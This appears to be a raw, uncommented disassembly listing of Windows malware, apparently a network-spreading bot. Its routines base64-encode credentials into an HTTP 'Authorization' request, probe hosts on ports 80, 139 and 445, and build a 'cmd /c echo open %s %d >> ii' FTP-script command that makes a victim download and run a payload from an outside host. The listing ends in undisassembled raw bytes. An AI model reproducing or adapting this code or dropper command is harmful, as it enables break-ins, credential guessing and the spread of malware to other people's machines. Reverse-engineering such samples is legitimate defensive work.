; =============== S U B	R O U T	I N E =======================================



sub_404032	proc near		; CODE XREF: sub_4041D4+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_4230E7
		call	sub_418290
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404667
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_403FE6
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_404074
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4045E2


loc_404074:				; CODE XREF: sub_404032+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404191
		mov	ebx, [ebp+10h]


loc_404083:				; CODE XREF: sub_404032+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40408D
		push	3
		jmp	short loc_40409F
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_404032+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_404097
		push	2
		jmp	short loc_40409F
; ---------------------------------------------------------------------------


loc_404097:				; CODE XREF: sub_404032+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4040A0
		push	1


loc_40409F:				; CODE XREF: sub_404032+59j
					; sub_404032+63j
		pop	ebx


loc_4040A0:				; CODE XREF: sub_404032+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_424288
		fstp	[esp+40h+var_40]
		call	sub_417DEB
		pop	ecx
		pop	ecx
		call	sub_417DC4
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_4040DF
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_4040DF:				; CODE XREF: sub_404032+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40414D
		add	[ebp-18h], eax


loc_404131:				; CODE XREF: sub_404032+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_42876C[eax]
		push	eax
		push	1
		call	sub_404464
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_404131


loc_40414D:				; CODE XREF: sub_404032+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40416B
		push	dword ptr [ebp+14h]
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4044BD
		mov	[ebp-18h], edi


loc_40416B:				; CODE XREF: sub_404032+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_404185
		sub	esi, [ebp-1Ch]


loc_404176:				; CODE XREF: sub_404032+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404464
		dec	esi
		jnz	short loc_404176


loc_404185:				; CODE XREF: sub_404032+13Fj
		cmp	[ebp+10h], edi
		ja	loc_404083
		push	1
		pop	ebx


loc_404191:				; CODE XREF: sub_404032+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		push	dword_424280
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404514
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_404032	endp


; =============== S U B	R O U T	I N E =======================================



sub_4041D4	proc near		; CODE XREF: ___:004043CFp
		mov	eax, offset loc_423104
		call	sub_418290
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_436EDC
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_404032
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_417B89
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40421E
		xor	bl, bl
		jmp	short loc_404262
; ---------------------------------------------------------------------------


loc_40421E:				; CODE XREF: sub_4041D4+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_424290
		cmp	ecx, ebx
		jnz	short loc_40422C
		mov	ecx, eax


loc_40422C:				; CODE XREF: sub_4041D4+54j
		cmp	[ebp+18h], ebx
		jz	short loc_404234
		mov	eax, [ebp+18h]


loc_404234:				; CODE XREF: sub_4041D4+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41782A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43ADE8
		cmp	eax, esi
		jz	short loc_404259
		xor	bl, bl
		jmp	short loc_40425B
; ---------------------------------------------------------------------------


loc_404259:				; CODE XREF: sub_4041D4+7Fj
		mov	bl, 1


loc_40425B:				; CODE XREF: sub_4041D4+83j
		push	edi
		call	sub_417C3B
		pop	ecx


loc_404262:				; CODE XREF: sub_4041D4+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404667
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4041D4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_428918
		push	eax
		call	sub_417390
		add	esp, 0Ch
		mov	eax, offset byte_42F678
		push	eax
		push	eax
		push	dword_436F0C
		push	dword ptr [ebp+8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41782A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4287B0
		push	eax
		call	sub_403A90
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40432B
		xor	eax, eax
		jmp	loc_404457
; ---------------------------------------------------------------------------


loc_40432B:				; CODE XREF: ___:00404322j
		mov	[ebp-0Ch], esi


loc_40432E:				; CODE XREF: ___:0040442Ej
		test	esi, esi
		jnz	loc_404434
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40441C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43AD98
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43ADD8
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_404411
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_4043D9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_4046A3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4041D4
		add	esp, 1Ch
		jmp	short loc_40440E
; ---------------------------------------------------------------------------


loc_4043D9:				; CODE XREF: ___:00404397j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_4043F3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403F94
		jmp	short loc_40440B
; ---------------------------------------------------------------------------


loc_4043F3:				; CODE XREF: ___:004043E3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404411
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403EBA


loc_40440B:				; CODE XREF: ___:004043F1j
		add	esp, 0Ch


loc_40440E:				; CODE XREF: ___:004043D7j
		movzx	esi, al


loc_404411:				; CODE XREF: ___:0040438Aj
					; ___:004043FDj
		push	ebx
		call	dword_43AE30
		test	esi, esi
		jnz	short loc_404427


loc_40441C:				; CODE XREF: ___:00404347j
		push	3E8h
		nop
		call	near ptr 2630F90h


loc_404427:				; CODE XREF: ___:0040441Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40432E


loc_404434:				; CODE XREF: ___:00404330j
		lea	ecx, [ebp-8]
		call	sub_4038B5
		test	esi, esi
		jz	short loc_404455
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_404455:				; CODE XREF: ___:0040443Ej
		mov	eax, esi


loc_404457:				; CODE XREF: ___:00404326j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230C8


loc_40445C:				; CODE XREF: sub_4230C8+3j
					; ___:004230E1j ...
		push	1
		call	sub_404667
		retn
; END OF FUNCTION CHUNK	FOR sub_4230C8

; =============== S U B	R O U T	I N E =======================================



sub_404464	proc near		; CODE XREF: sub_404032+110p
					; sub_404032+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40447E
		call	sub_42298A


loc_40447E:				; CODE XREF: sub_404464+13j
		test	ebx, ebx
		jbe	short loc_4044B5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4044B5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_417330
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4044B5:				; CODE XREF: sub_404464+1Cj
					; sub_404464+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044BD	proc near		; CODE XREF: sub_404032+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4044D7
		call	sub_42298A


loc_4044D7:				; CODE XREF: sub_4044BD+13j
		test	ebx, ebx
		jbe	short loc_40450C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_40450C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40450C:				; CODE XREF: sub_4044BD+1Cj
					; sub_4044BD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4044BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404514	proc near		; CODE XREF: sub_404032+17Cp
					; sub_4228A0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40452C
		call	sub_422863


loc_40452C:				; CODE XREF: sub_404514+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40453E
		mov	esi, [ebp+arg_8]


loc_40453E:				; CODE XREF: sub_404514+25j
		cmp	edi, ebx
		jnz	short loc_404560
		push	dword_424280
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4046D8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4046D8
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------


loc_404560:				; CODE XREF: sub_404514+2Cj
		test	esi, esi
		jbe	short loc_4045A3
		cmp	esi, eax
		jnz	short loc_4045A3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404574
		mov	eax, offset dword_424290


loc_404574:				; CODE XREF: sub_404514+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_4045A3
		push	1
		mov	ecx, edi
		call	sub_404667
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40458F
		mov	eax, offset dword_424290


loc_40458F:				; CODE XREF: sub_404514+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------


loc_4045A3:				; CODE XREF: sub_404514+4Ej
					; sub_404514+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4045D9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4045BD
		mov	eax, offset dword_424290


loc_4045BD:				; CODE XREF: sub_404514+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_417390
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_4045D9:				; CODE XREF: sub_404514+4Aj
					; sub_404514+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404514	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045E2	proc near		; CODE XREF: sub_404032+3Dp
					; sub_404464+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4045F4
		call	sub_42298A


loc_4045F4:				; CODE XREF: sub_4045E2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40461D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40461D
		cmp	al, 0FFh
		jz	short loc_40461D
		cmp	edi, edx
		jnz	short loc_404658
		dec	al
		push	edx
		mov	[ecx-1], al


loc_404612:				; CODE XREF: sub_4045E2+47j
		mov	ecx, esi
		call	sub_404667


loc_404619:				; CODE XREF: sub_4045E2+4Bj
					; sub_4045E2+52j
		xor	al, al
		jmp	short loc_404662
; ---------------------------------------------------------------------------


loc_40461D:				; CODE XREF: sub_4045E2+19j
					; sub_4045E2+20j ...
		cmp	edi, edx
		jnz	short loc_404636
		cmp	[esp+8+arg_4], dl
		jz	short loc_40462B
		push	1
		jmp	short loc_404612
; ---------------------------------------------------------------------------


loc_40462B:				; CODE XREF: sub_4045E2+43j
		cmp	ecx, edx
		jz	short loc_404619
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404636:				; CODE XREF: sub_4045E2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404653
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404648
		cmp	eax, edi
		jnb	short loc_404660


loc_404648:				; CODE XREF: sub_4045E2+60j
		push	1
		mov	ecx, esi
		call	sub_404667
		jmp	short loc_404658
; ---------------------------------------------------------------------------


loc_404653:				; CODE XREF: sub_4045E2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404660


loc_404658:				; CODE XREF: sub_4045E2+28j
					; sub_4045E2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40473F


loc_404660:				; CODE XREF: sub_4045E2+64j
					; sub_4045E2+74j
		mov	al, 1


loc_404662:				; CODE XREF: sub_4045E2+39j
		pop	edi
		pop	esi
		retn	8
sub_4045E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_404667	proc near		; CODE XREF: sub_404032+1Fp
					; sub_404032+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404693
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404693
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40468C
		cmp	al, 0FFh
		jz	short loc_40468C
		dec	al
		mov	[ecx], al
		jmp	short loc_404693
; ---------------------------------------------------------------------------


loc_40468C:				; CODE XREF: sub_404667+19j
					; sub_404667+1Dj
		push	ecx
		call	sub_4182AF
		pop	ecx


loc_404693:				; CODE XREF: sub_404667+8j
					; sub_404667+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404667	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046A3	proc near		; CODE XREF: ___:004043C3p
					; sub_4047FC+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4046D1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4046D1:				; CODE XREF: sub_4046A3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4046A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046D8	proc near		; CODE XREF: sub_404514+39p
					; sub_404514+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4046EB
		call	sub_422863


loc_4046EB:				; CODE XREF: sub_4046D8+Cj
		mov	ecx, edi
		call	sub_4047FC
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404701
		mov	ebx, eax


loc_404701:				; CODE XREF: sub_4046D8+25j
		test	ebx, ebx
		jbe	short loc_404737
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4182C0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4045E2
		test	al, al
		jz	short loc_404737
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_404737:				; CODE XREF: sub_4046D8+2Bj
					; sub_4046D8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4046D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40473F	proc near		; CODE XREF: sub_4045E2+79p
		mov	eax, offset loc_423110
		call	sub_418290
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404765
		mov	edi, [ebp+8]


loc_404765:				; CODE XREF: sub_40473F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404772
		xor	eax, eax


loc_404772:				; CODE XREF: sub_40473F+2Fj
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4047A3
; ---------------------------------------------------------------------------


loc_40477E:				; DATA XREF: ___:00424F9Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40478D
		xor	eax, eax


loc_40478D:				; CODE XREF: sub_40473F+4Aj
		push	eax
		call	sub_4185F5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40479D
		retn
; ---------------------------------------------------------------------------


loc_40479D:				; DATA XREF: sub_40473F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_4047A3:				; CODE XREF: sub_40473F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4047C1
		cmp	eax, edi
		jbe	short loc_4047B0
		mov	eax, edi


loc_4047B0:				; CODE XREF: sub_40473F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_417390
		add	esp, 0Ch


loc_4047C1:				; CODE XREF: sub_40473F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404667
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4047E1
		mov	edi, ebx


loc_4047E1:				; CODE XREF: sub_40473F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40473F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047FC	proc near		; CODE XREF: sub_4046D8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404829
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404829
		cmp	al, 0FFh
		jz	short loc_404829
		push	1
		call	sub_404667
		push	esi
		call	sub_417AB0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4046A3


loc_404829:				; CODE XREF: sub_4047FC+9j
					; sub_4047FC+10j ...
		pop	edi
		pop	esi
		retn
sub_4047FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40482C	proc near		; DATA XREF: ___:00426008o
		test	byte_4CDCAC, 1
		jnz	short loc_40483C
		or	byte_4CDCAC, 1


loc_40483C:				; CODE XREF: sub_40482C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_418670
		pop	ecx
		retn
sub_40482C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40484E	proc near		; DATA XREF: ___:0042600Co
		jmp	$+5
sub_40484E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404853	proc near
		mov	eax, dword_428BE0
		add	eax, 6
		mov	dword_436EF8, eax
		retn
sub_404853	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404861	proc near		; CODE XREF: sub_404861+D0p
					; ___:00404DC0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_404875
		or	[ebp+arg_7], 1
		jmp	short loc_404879
; ---------------------------------------------------------------------------


loc_404875:				; CODE XREF: sub_404861+Cj
		and	[ebp+arg_7], 0FEh


loc_404879:				; CODE XREF: sub_404861+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40489D
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_4048AF
; ---------------------------------------------------------------------------


loc_40489D:				; CODE XREF: sub_404861+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_4048AF:				; CODE XREF: sub_404861+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_404948
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_40493F
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40493F
		push	[ebp+arg_20]
		call	sub_417C3B
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40493B
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		jmp	short loc_40494A
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_404861+B3j
		mov	al, 1
		jmp	short loc_40494A
; ---------------------------------------------------------------------------


loc_40493F:				; CODE XREF: sub_404861+9Cj
					; sub_404861+A4j
		push	[ebp+arg_20]
		call	sub_417C3B
		pop	ecx


loc_404948:				; CODE XREF: sub_404861+61j
		xor	al, al


loc_40494A:				; CODE XREF: sub_404861+D8j
					; sub_404861+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404861	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db 0D4h	; Ô
		db  31h	; 1
		db    1
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db  5Ch	; \
		db  8Ch	; Œ
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db  24h	; $
		db  3Eh	; >
		db    1
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  28h	; (
		db  86h	; †
		db  42h	; B
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db  9Ch	; œ
		db  2Eh	; .
		db    1
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db  93h	; “
		db  29h	; )
		db    1
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db 0DCh	; Ü
